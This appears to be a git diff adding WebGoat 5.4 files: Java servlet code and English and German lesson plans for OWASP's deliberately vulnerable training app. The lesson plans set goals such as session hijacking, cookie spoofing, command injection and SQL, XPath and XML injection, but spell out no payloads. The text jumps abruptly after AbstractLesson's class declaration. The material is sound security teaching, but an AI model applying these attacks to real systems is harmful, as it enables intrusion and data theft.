+ protected static SimpleDateFormat httpDateFormat;
+
+ /**
+ * Set the session timeout to be 2 days
+ */
+ private final static int sessionTimeoutSeconds = 60 * 60 * 24 * 2;
+
+ // private final static int sessionTimeoutSeconds = 1;
+
+ /**
+ * Properties file path
+ */
+ public static String propertiesPath = null;
+
+ /**
+ * provides convenience methods for getting setup information from the ServletContext
+ */
+ private WebgoatContext webgoatContext = null;
+
+ /**
+ * Description of the Method
+ *
+ * @param request
+ * Description of the Parameter
+ * @param response
+ * Description of the Parameter
+ * @exception IOException
+ * Description of the Exception
+ * @exception ServletException
+ * Description of the Exception
+ */
+ public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
+ {
+ doPost(request, response);
+ }
+
+ /**
+ * Description of the Method
+ *
+ * @param request
+ * Description of the Parameter
+ * @param response
+ * Description of the Parameter
+ * @exception IOException
+ * Description of the Exception
+ * @exception ServletException
+ * Description of the Exception
+ */
+ public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
+ {
+ Screen screen = null;
+
+ WebSession mySession = null;
+ try
+ {
+ // System.out.println( "HH Entering doPost: " );
+ // System.out.println( " - HH request " + request);
+ // System.out.println( " - HH principle: " +
+ // request.getUserPrincipal() );
+ // setCacheHeaders(response, 0);
+ ServletContext context = getServletContext();
+
+ // FIXME: If a response is written by updateSession(), do not
+ // call makeScreen() and writeScreen()
+ mySession = updateSession(request, response, context);
+ if (response.isCommitted()) return;
+
+ // Note: For the lesson to track the status, we need to update
+ // the lesson tracker object
+ // from the screen.createContent() method. The create content is
+ // the only point
+ // where the lesson "knows" what has happened. To track it at a
+ // latter point would
+ // require the lesson to have memory.
+ screen = makeScreen(mySession); // This calls the lesson's
+ // handleRequest()
+ if (response.isCommitted()) return;
+
+ // perform lesson-specific tracking activities
+ if (screen instanceof AbstractLesson)
+ {
+ AbstractLesson lesson = (AbstractLesson) screen;
+
+ // we do not count the initial display of the lesson screen as a visit
+ if ("GET".equals(request.getMethod()))
+ {
+ String uri = request.getRequestURI() + "?" + request.getQueryString();
+ if (!uri.endsWith(lesson.getLink())) screen.getLessonTracker(mySession).incrementNumVisits();
+ }
+ else if ("POST".equals(request.getMethod())
+ && mySession.getPreviousScreen() == mySession.getCurrentScreen())
+ {
+ screen.getLessonTracker(mySession).incrementNumVisits();
+ }
+ }
+
+ // log the access to this screen for this user
+ UserTracker userTracker = UserTracker.instance();
+ userTracker.update(mySession, screen);
+ log(request, screen.getClass().getName() + " | " + mySession.getParser().toString());
+
+ // Redirect the request to our View servlet
+ String userAgent = request.getHeader("user-agent");
+ String clientBrowser = "Not known!";
+ if (userAgent != null)
+ {
+ clientBrowser = userAgent;
+ }
+ request.setAttribute("client.browser", clientBrowser);
+ request.getSession().setAttribute("websession", mySession);
+ request.getSession().setAttribute("course", mySession.getCourse());
+
+ request.getRequestDispatcher(getViewPage(mySession)).forward(request, response);
+ } catch (Throwable t)
+ {
+ t.printStackTrace();
+ log("ERROR: " + t);
+ screen = new ErrorScreen(mySession, t);
+ } finally
+ {
+ try
+ {
+ this.writeScreen(mySession, screen, response);
+ } catch (Throwable thr)
+ {
+ thr.printStackTrace();
+ log(request, "Could not write error screen: " + thr.getMessage());
+ }
+ WebSession.returnConnection(mySession);
+ // System.out.println( "HH Leaving doPost: " );
+ }
+ }
+
+ private String getViewPage(WebSession webSession)
+ {
+ String page;
+
+ // If this session has not seen the landing page yet, go there instead.
+ HttpSession session = webSession.getRequest().getSession();
+ if (session.getAttribute(WELCOMED) == null)
+ {
+ session.setAttribute(WELCOMED, "true");
+ page = "/webgoat.jsp";
+ }
+ else
+ page = "/main.jsp";
+
+ return page;
+ }
+
+ /**
+ * Description of the Method
+ *
+ * @param date
+ * Description of the Parameter
+ * @return RFC 1123 http date format
+ */
+ protected static String formatHttpDate(Date date)
+ {
+ synchronized (httpDateFormat)
+ {
+ return httpDateFormat.format(date);
+ }
+ }
+
+ /**
+ * Return information about this servlet
+ *
+ * @return The servletInfo value
+ */
+ public String getServletInfo()
+ {
+ return "WebGoat is sponsored by Aspect Security.";
+ }
+
+ /**
+ * Return properties path
+ *
+ * @return servlet context path + WEB_INF
+ */
+ public void init() throws ServletException
+ {
+ httpDateFormat = new SimpleDateFormat("EEE, dd MMM yyyyy HH:mm:ss z", Locale.US);
+ httpDateFormat.setTimeZone(TimeZone.getTimeZone("GMT"));
+ propertiesPath = getServletContext().getRealPath("./WEB-INF/webgoat.properties");
+ webgoatContext = new WebgoatContext(this);
+ }
+
+ /**
+ * Description of the Method
+ *
+ * @param request
+ * Description of the Parameter
+ * @param message
+ * Description of the Parameter
+ */
+ public void log(HttpServletRequest request, String message)
+ {
+ String output = new Date() + " | " + request.getRemoteHost() + ":" + request.getRemoteAddr() + " | " + message;
+ log(output);
+ System.out.println(output);
+ }
+
+ /*
+ * public List getLessons(Category category, String role) { Course course =
+ * mySession.getCourse(); // May need to clone the List before returning it. //return new
+ * ArrayList(course.getLessons(category, role)); return course.getLessons(category, role); }
+ */
+
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Screen makeScreen(WebSession s)
+ {
+ Screen screen = null;
+ int scr = s.getCurrentScreen();
+ Course course = s.getCourse();
+
+ if (s.isUser() || s.isChallenge())
+ {
+ if (scr == WebSession.WELCOME)
+ {
+ screen = new WelcomeScreen(s);
+ }
+ else
+ {
+ AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
+ if (lesson == null && s.isHackedAdmin())
+ {
+ // If admin was hacked, let the user see some of the
+ // admin screens
+ lesson = course.getLesson(s, scr, AbstractLesson.HACKED_ADMIN_ROLE);
+ }
+
+ if (lesson != null)
+ {
+ screen = lesson;
+
+ // We need to do some bookkeeping for the hackable admin
+ // interface.
+ // This is the only place we can tell if the user
+ // successfully hacked the hackable
+ // admin and has actually accessed an admin screen. You
+ // need BOTH pieces of information
+ // in order to satisfy the remote admin lesson.
+
+ s.setHasHackableAdmin(screen.getRole());
+
+ lesson.handleRequest(s);
+ s.setCurrentMenu(lesson.getCategory().getRanking());
+ }
+ else
+ {
+ screen = new ErrorScreen(s, "Invalid screen requested. Try: http://localhost/WebGoat/attack");
+ }
+ }
+ }
+ else if (s.isAdmin())
+ {
+ if (scr == WebSession.WELCOME)
+ {
+ screen = new WelcomeAdminScreen(s);
+ }
+ else
+ {
+ // Admin can see all roles.
+ // FIXME: should be able to pass a list of roles.
+ AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.ADMIN_ROLE);
+ if (lesson == null)
+ {
+ lesson = course.getLesson(s, scr, AbstractLesson.HACKED_ADMIN_ROLE);
+ }
+ if (lesson == null)
+ {
+ lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
+ }
+
+ if (lesson != null)
+ {
+ screen = lesson;
+
+ // We need to do some bookkeeping for the hackable admin
+ // interface.
+ // This is the only place we can tell if the user
+ // successfully hacked the hackable
+ // admin and has actually accessed an admin screen. You
+ // need BOTH pieces of information
+ // in order to satisfy the remote admin lesson.
+
+ s.setHasHackableAdmin(screen.getRole());
+
+ lesson.handleRequest(s);
+ s.setCurrentMenu(lesson.getCategory().getRanking());
+ }
+ else
+ {
+ screen = new ErrorScreen(s,
+ "Invalid screen requested. Try Setting Admin to false or Try: http://localhost/WebGoat/attack");
+ }
+ }
+ }
+
+ return (screen);
+ }
+
+ /**
+ * This method sets the required expiration headers in the response for a given RunData object.
+ * This method attempts to set all relevant headers, both for HTTP 1.0 and HTTP 1.1.
+ *
+ * @param response
+ * The new cacheHeaders value
+ * @param expiry
+ * The new cacheHeaders value
+ */
+ protected static void setCacheHeaders(HttpServletResponse response, int expiry)
+ {
+ if (expiry == 0)
+ {
+ response.setHeader("Pragma", "no-cache");
+ response.setHeader("Cache-Control", "no-cache");
+ response.setHeader("Expires", formatHttpDate(new Date()));
+ }
+ else
+ {
+ Date expiryDate = new Date(System.currentTimeMillis() + expiry);
+ response.setHeader("Expires", formatHttpDate(expiryDate));
+ }
+ }
+
+ /**
+ * Description of the Method
+ *
+ * @param request
+ * Description of the Parameter
+ * @param response
+ * Description of the Parameter
+ * @param context
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected WebSession updateSession(HttpServletRequest request, HttpServletResponse response, ServletContext context)
+ throws IOException
+ {
+ HttpSession hs;
+ hs = request.getSession(true);
+
+ // System.out.println( "HH Entering Session_id: " + hs.getId() );
+ // dumpSession( hs );
+ // Get our session object out of the HTTP session
+ WebSession session = null;
+ Object o = hs.getAttribute(WebSession.SESSION);
+
+ if ((o != null) && o instanceof WebSession)
+ {
+ session = (WebSession) o;
+ }
+ else
+ {
+ // Create new custom session and save it in the HTTP session
+ // System.out.println( "HH Creating new WebSession: " );
+ session = new WebSession(webgoatContext, context);
+ // Ensure splash screen shows on any restart
+ hs.removeAttribute(WELCOMED);
+ hs.setAttribute(WebSession.SESSION, session);
+ // reset timeout
+ hs.setMaxInactiveInterval(sessionTimeoutSeconds);
+
+ }
+
+ session.update(request, response, this.getServletName());
+
+ // to authenticate
+ // System.out.println( "HH Leaving Session_id: " + hs.getId() );
+ // dumpSession( hs );
+ return (session);
+ }
+
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @param response
+ * Description of the Parameter
+ * @exception IOException
+ * Description of the Exception
+ */
+ protected void writeScreen(WebSession s, Screen screen, HttpServletResponse response) throws IOException
+ {
+ response.setContentType("text/html");
+
+ PrintWriter out = response.getWriter();
+
+ if (s == null)
+ {
+ screen = new ErrorScreen(s, "Page to display was null");
+ }
+
+ // set the content-length of the response.
+ // Trying to avoid chunked-encoding. (Aspect required)
+ response.setContentLength(screen.getContentLength());
+ response.setHeader("Content-Length", screen.getContentLength() + "");
+
+ screen.output(out);
+ out.close();
+ }
+}
diff --git a/webgoat-5.4/src/main/java/org/owasp/webgoat/LessonSource.java b/webgoat-5.4/src/main/java/org/owasp/webgoat/LessonSource.java
new file mode 100644
index 000000000..4d4468d6a
--- /dev/null
+++ b/webgoat-5.4/src/main/java/org/owasp/webgoat/LessonSource.java
@@ -0,0 +1,206 @@
+
+package org.owasp.webgoat;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import org.owasp.webgoat.lessons.AbstractLesson;
+import org.owasp.webgoat.session.Course;
+import org.owasp.webgoat.session.WebSession;
+
+
+/***************************************************************************************************
+ *
+ *
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2007 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
+ *
+ * For details, please see http://code.google.com/p/webgoat/
+ *
+ * @author Bruce Mayhew WebGoat
+ * @created October 28, 2003
+ */
+public class LessonSource extends HammerHead
+{
+
+ /**
+ *
+ */
+ private static final long serialVersionUID = 2588430536196446145L;
+
+ /**
+ * Description of the Field
+ */
+ public final static String START_SOURCE_SKIP = "START_OMIT_SOURCE";
+
+ public final static String END_SOURCE_SKIP = "END_OMIT_SOURCE";
+
+ /**
+ * Description of the Method
+ *
+ * @param request
+ * Description of the Parameter
+ * @param response
+ * Description of the Parameter
+ * @exception IOException
+ * Description of the Exception
+ * @exception ServletException
+ * Description of the Exception
+ */
+ public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
+ {
+ String source = null;
+
+ try
+ {
+ // System.out.println( "Entering doPost: " );
+ // System.out.println( " - request " + request);
+ // System.out.println( " - principle: " + request.getUserPrincipal()
+ // );
+ // setCacheHeaders(response, 0);
+ WebSession session = (WebSession) request.getSession(true).getAttribute(WebSession.SESSION);
+ // FIXME: Too much in this call.
+ session.update(request, response, this.getServletName());
+
+ boolean showSolution = session.getParser().getBooleanParameter("solution", false);
+ boolean showSource = session.getParser().getBooleanParameter("source", false);
+ if (showSolution)
+ {
+
+ // Get the Java solution of the lesson.
+ source = getSolution(session);
+
+ int scr = session.getCurrentScreen();
+ Course course = session.getCourse();
+ AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
+ lesson.getLessonTracker(session).setViewedSolution(true);
+
+ }
+ else if (showSource)
+ {
+
+ // Get the Java source of the lesson. FIXME: Not needed
+ source = getSource(session);
+
+ int scr = session.getCurrentScreen();
+ Course course = session.getCourse();
+ AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
+ lesson.getLessonTracker(session).setViewedSource(true);
+ }
+ } catch (Throwable t)
+ {
+ t.printStackTrace();
+ log("ERROR: " + t);
+ } finally
+ {
+ try
+ {
+ this.writeSource(source, response);
+ } catch (Throwable thr)
+ {
+ thr.printStackTrace();
+ log(request, "Could not write error screen: " + thr.getMessage());
+ }
+ // System.out.println( "Leaving doPost: " );
+
+ }
+ }
+
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected String getSource(WebSession s)
+ {
+
+ String source = null;
+ int scr = s.getCurrentScreen();
+ Course course = s.getCourse();
+
+ if (s.isUser() || s.isChallenge())
+ {
+
+ AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
+
+ if (lesson != null)
+ {
+ source = lesson.getSource(s);
+ }
+ }
+ if (source == null) { return "Source code is not available. Contact "
+ + s.getWebgoatContext().getFeedbackAddressHTML(); }
+ return (source.replaceAll("(?s)" + START_SOURCE_SKIP + ".*" + END_SOURCE_SKIP,
+ "Code Section Deliberately Omitted"));
+ }
+
+ protected String getSolution(WebSession s)
+ {
+
+ String source = null;
+ int scr = s.getCurrentScreen();
+ Course course = s.getCourse();
+
+ if (s.isUser() || s.isChallenge())
+ {
+
+ AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE);
+
+ if (lesson != null)
+ {
+ source = lesson.getSolution(s);
+ }
+ }
+ if (source == null) { return "Solution is not available. Contact "
+ + s.getWebgoatContext().getFeedbackAddressHTML(); }
+ return (source);
+ }
+
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @param response
+ * Description of the Parameter
+ * @exception IOException
+ * Description of the Exception
+ */
+ protected void writeSource(String s, HttpServletResponse response) throws IOException
+ {
+ response.setContentType("text/html");
+
+ PrintWriter out = response.getWriter();
+
+ if (s == null)
+ {
+ s = new String();
+ }
+
+ out.print(s);
+ out.close();
+ }
+}
diff --git a/webgoat-5.4/src/main/java/org/owasp/webgoat/lessons/AbstractLesson.java b/webgoat-5.4/src/main/java/org/owasp/webgoat/lessons/AbstractLesson.java
new file mode 100644
index 000000000..54a710146
--- /dev/null
+++ b/webgoat-5.4/src/main/java/org/owasp/webgoat/lessons/AbstractLesson.java
@@ -0,0 +1,846 @@
+
+package org.owasp.webgoat.lessons;
+
+import java.io.BufferedReader;
+import java.io.FileReader;
+import java.io.InputStreamReader;
+import java.io.StringReader;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.sql.Statement;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+
+import org.apache.ecs.Element;
+import org.apache.ecs.ElementContainer;
+import org.apache.ecs.StringElement;
+import org.apache.ecs.html.Body;
+import org.apache.ecs.html.Form;
+import org.apache.ecs.html.Head;
+import org.apache.ecs.html.Html;
+import org.apache.ecs.html.IMG;
+import org.apache.ecs.html.PRE;
+import org.apache.ecs.html.Title;
+import org.owasp.webgoat.session.ParameterNotFoundException;
+import org.owasp.webgoat.session.Screen;
+import org.owasp.webgoat.session.WebSession;
+import org.owasp.webgoat.session.WebgoatContext;
+import org.owasp.webgoat.session.WebgoatProperties;
+import org.owasp.webgoat.util.WebGoatI18N;
+
+
+
+/***************************************************************************************************
+ *
+ *
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2007 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
+ *
+ * For details, please see http://code.google.com/p/webgoat/
+ *
+ * @author Bruce Mayhew WebGoat
+ * @created October 28, 2003
+ */
+public abstract class AbstractLesson extends Screen implements Comparable
+
Adding Users
+
+Usually using WebGoat you just use the user guest with the password guest.
+But maybe in laboratory you have made a setup with one server and a lot of
+clients. In this case you might want to have a user for every client
+ and you have to alter tomcat-users.xml
+in tomcat/conf as the users are stored there. We recommend not to use real passwords
+as the passwords are stored in plain text in this file!
+
+
Add User
+
+Adding a user is straight forward. You can use the guest entry as an example. The added
+users should have the same role as the guest user. Add lines like this to the file:
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/English/TraceXSS.html b/webgoat-5.4/src/main/webapp/lesson_plans/English/TraceXSS.html
new file mode 100644
index 000000000..2358d4fc4
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/English/TraceXSS.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Perform Cross Site Tracing (XST) Attacks
+
+
Concept / Topic To Teach:
+
+It is always a good practice to scrub all input, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere in the application. Users should not be able to create message content that could cause another user to load an undesireable page or undesireable content when the user's message is retrieved.
+
General Goal(s):
+Tomcat is configured to support the HTTP TRACE command. Your goal is to perform a Cross Site Tracing (XST) attack.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/English/UncheckedEmail.html b/webgoat-5.4/src/main/webapp/lesson_plans/English/UncheckedEmail.html
new file mode 100644
index 000000000..db3c630e9
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/English/UncheckedEmail.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Exploit Unchecked Email
+
+
Concept / Topic To Teach:
+
+It is always a good practice to validate all inputs. Most sites allow non-authenticated users to send email to a 'friend'. This is a great mechanism for spammers to send out email using your corporate mail server.
+
+
General Goal(s):
+The user should be able to send and obnoxious email message.
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/English/UsefulTools.html b/webgoat-5.4/src/main/webapp/lesson_plans/English/UsefulTools.html
new file mode 100644
index 000000000..7c23aa847
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/English/UsefulTools.html
@@ -0,0 +1,53 @@
+
+
+
Useful Tools
+
+Below is a list of tools we've found useful in solving the WebGoat lessons. You will need WebScarab or Paros to solve most of the lessons.
+
WebScarab:
+
+Like WebGoat, WebScarab is a part of OWASP.
+WebScarab is a proxy for analyzing applications that
+communicate using the HTTP and HTTPS protocols. Because WebScarab
+operates as an intercepting proxy, we can review and modify requests
+and responses.
After installing WebScarab and configuring your browser to use it as proxy on localhost we can start. If you are using localhost for your Tomcat server, remember to put a "." after the hostname when browsing to WebGoat.
+
+We have to select "Intercept Request" in the tab "Intercept". If we send a HTTP request we get a new WebScarab window.
+
+Here we can read and edit the intercepted parameter. After "Accept changes" the request will be sent to the server.
+WebScarab is also used to intercept the request and change cookies values just like parameter data:
+
+We get a new window on sending a HTTP request. On the screenshot you see where we can find cookies and how to edit their values.
+
+
Firebug:
+
+Firebug is an add-on for the Firefox browser. We can use it to inspect, edit and monitor CSS, HTML and JavaScript.
+There are many vulnerability scanners for your own web applications. They can find XSS, Injection Flaws and other vulnerabilities. Below are links to two open source scanner.
+
+Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file.
+
General Goal(s):
+This screen is the API for a web service. Check the WSDL file for this web service and try to get some customer credit numbers.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/English/WeakAuthenticationCookie.html b/webgoat-5.4/src/main/webapp/lesson_plans/English/WeakAuthenticationCookie.html
new file mode 100644
index 000000000..9c9b86c8a
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/English/WeakAuthenticationCookie.html
@@ -0,0 +1,12 @@
+
+
Lesson Plan Title: How to Spoof an Authentication Cookie
+
+
+
Concept / Topic To Teach:
+
+Many applications will automatically log a user into their site if the right authentication cookie is specified. Some times the cookie values can be guessed if the algorithm for generating the cookie can be obtained. Some times the cookies are left on the client machine and can be stolen by exploiting another system vulnerability. Some times the cookies maybe intercepted using Cross site scripting. This lesson tries to make the student aware of authentication cookies and presents the student with a way to defeat the cookie authentication method in this lesson.
+
General Goal(s):
+
+ The user should be able to bypass the authentication check.
+Login using the webgoat/webgoat account to see what happens. You may also try aspect/aspect. When you understand the authentication cookie, try changing your identity to alice.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/English/WeakSessionID.html b/webgoat-5.4/src/main/webapp/lesson_plans/English/WeakSessionID.html
new file mode 100644
index 000000000..45157e0b5
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/English/WeakSessionID.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Hijack a Session
+
+
Concept / Topic To Teach:
+
+Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks.
+
General Goal(s):
+Try to access an authenticated session belonging to someone else.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/English/WelcomeScreeen.html b/webgoat-5.4/src/main/webapp/lesson_plans/English/WelcomeScreeen.html
new file mode 100644
index 000000000..be93e40e2
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/English/WelcomeScreeen.html
@@ -0,0 +1,16 @@
+
+
Lesson Plan Title:Welcome
+
+
Concept / Topic To Teach:
+This lesson presents the basics for understanding the transfer of data between the browser and the web application.
+
Standards Addressed:
+
General Goal(s):
+
Specific Objectives:
+
Required Materials:
+
Anticipatory Set (Lead-In):
+
Step-By-Step Procedures:
+
Plan For Independent Practice:
+
Closure (Reflect Anticipatory Set):
+
Assessment Based On Objectives:
+
Extensions (For Gifted Students):
+
Possible Connections To Other Subjects:
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/English/WsSAXInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/English/WsSAXInjection.html
new file mode 100644
index 000000000..23a2e8607
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/English/WsSAXInjection.html
@@ -0,0 +1,12 @@
+
+
Lesson Plan Title: How to Perform Web Service SAX Injection
+
+
Concept / Topic To Teach:
+
+Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file.
+
General Goal(s):
+Some web interfaces make use of Web Services in the background. If the frontend relies on the web service for all input validation, it may be possible to corrupt the XML that the web interface sends.
+
+
+In this exercise, try to change the password for a user other than 101.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/English/WsSqlInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/English/WsSqlInjection.html
new file mode 100644
index 000000000..95738b0bf
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/English/WsSqlInjection.html
@@ -0,0 +1,9 @@
+
+
Lesson Plan Title: How to Perform Web Service SQL Injection
+
+
Concept / Topic To Teach:
+
+Web Services communicate through the use of SOAP requests. These requests are submitted to a web service in an attempt to execute a function defined in the web service definition language (WSDL) file.
+
General Goal(s):
+Check the web service description language (WSDL) file and try to obtain multiple customer credit card numbers. You will not see the results returned to this screen. When you believe you have suceeded, refresh the page and look for the 'green star'.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/English/XMLInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/English/XMLInjection.html
new file mode 100644
index 000000000..fc9c73697
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/English/XMLInjection.html
@@ -0,0 +1,19 @@
+
+
Lesson Plan Title: How to Perform XML Injection Attacks.
+
+
+
Concept / Topic To Teach:
+ This lesson teaches how to perform XML Injection attacks.
+
+
+
+How the attacks works:
+
+AJAX applications use XML to exchange information with the server. This XML can be easily intercepted and altered by a malicious attacker.
+
+
+
General Goal(s):
+
+WebGoat-Miles Reward Miles shows all the rewards available. Once you've entered your account ID, the lesson will show you your balance and the products you can afford. Your goal is to try to add more rewards to your allowed set of rewards. Your account ID is 836239.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/English/XPATHInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/English/XPATHInjection.html
new file mode 100644
index 000000000..926d8f151
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/English/XPATHInjection.html
@@ -0,0 +1,22 @@
+
+
Lesson Plan Title: How to Perform XPATH Injection Attacks.
+
+
+
Concept / Topic To Teach:
+ This lesson teaches how to perform XPath Injection attacks.
+
+
+
+How the attacks works:
+
+Similar to SQL Injection, XPATH Injection attacks occur when a web site uses user supplied information to query XML data. By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured or access data that they may not normally have access to.
+They may even be able to elevate their privileges on the web site if the xml data is being used for authentication (such as an xml based user file).
+
+Querying XML is done with XPath, a type of simple descriptive statement that allows the xml query to locate a piece of information. Like SQL you can specify certain attributes to find and patterns to match. When using XML for a web site it is common to accept some form of input on the query string to identify the content to locate and display on the page. This input must be sanitized to verify that it doesn't mess up the XPath query and return the wrong data.
+
+
+
+
General Goal(s):
+
+The form below allows employees to see all their personal data including their salaries. Your account is Mike/test123. Your goal is to try to see other employees data as well.
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/BasicAuthentication.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/BasicAuthentication.html
new file mode 100644
index 000000000..65490ef0c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/BasicAuthentication.html
@@ -0,0 +1,15 @@
+
+
Lehrplan: Basic Authentication
+
+
Lehrinhalt:
+
+"Basic Authentication" wird benutzt um Server-seitige Resource zu schützen. Wird eine Anfrage an eine geschützte Resource gestellt, so sendet der Webserver ein "401 authentication request" mit der Antwort auf diese Anfrage.
+Dann fragt, auf der Client Seite, der Browser den Benutzer mittels einer Dialogbox nach Benutzername und Passwort für diese Resource.
+Der Browser enkodiert Benutzername und Passwort mit base64 und sendet diese Zugangsdaten zum Webserver.
+Daraufhin validiert der Webserver Benutzername und Passwort und gibt als Antwort die angeforderte Resource zurück falls die übermittelten Zugangsdaten korrekt sind.
+Die Zugangsdaten werden vom Browser bei jedem weiteren Zugriff auf geschützte Resourcen mitgesendet ohne dass der Benutzer
+sie ein weiteres Mal eingeben muss.
+
+
Grundsätzliche(s) Ziel(e):
+Das Ziel dieser Lektion ist es "Basic Authentication" zu verstehen und die folgenden Fragen zu beantworten.
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/CommandInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/CommandInjection.html
new file mode 100644
index 000000000..a8de365cb
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/CommandInjection.html
@@ -0,0 +1,16 @@
+
+
Lehrplan: Einschleusen von Programmcode
+
+
Konzept:
+
+Das Einschleusen von Programmcode stellt eine ernst zu nehmende Bedrohung für dynamische Webseiten dar. Entsprechende Angriffe
+sind leicht zu lernen und der verursachte Schaden ist schwer bzw. entspricht der Kompromittierung des kompletten Systems.
+Trotz dieses Gefahrenpotentials ist eine unglaubliche Anzahl von Systemen im Internet für diese Form des Angriffs verwundbar.
+Dieser Angriff ist zwar leicht durchzuführen, allerdings ist er auch mit ein wenig gesundem Menschenverstand und Vorausdenken
+leicht zu verhindern. Die anerkannte Vorgehensweise zur Verhinderung dieser Angriffstypen
+besteht darin alle Eingabedaten zu säubern, insbesondere die Daten die in Betriebssystembefehlen,
+Skripten und Datenbankabfragen eingebaut werden.
+
Grundsätzliche(s) Ziel(e):
+
+Schleusen Sie einen Befehl in das darunterliegende Betriebssystem ein.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/German/HiddenFieldTampering.html b/webgoat-5.4/src/main/webapp/lesson_plans/German/HiddenFieldTampering.html
new file mode 100644
index 000000000..c4606ac75
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/German/HiddenFieldTampering.html
@@ -0,0 +1,14 @@
+
+
Lehrplan: Versteckte Felder ausnutzen
+
+
Konzept:
+
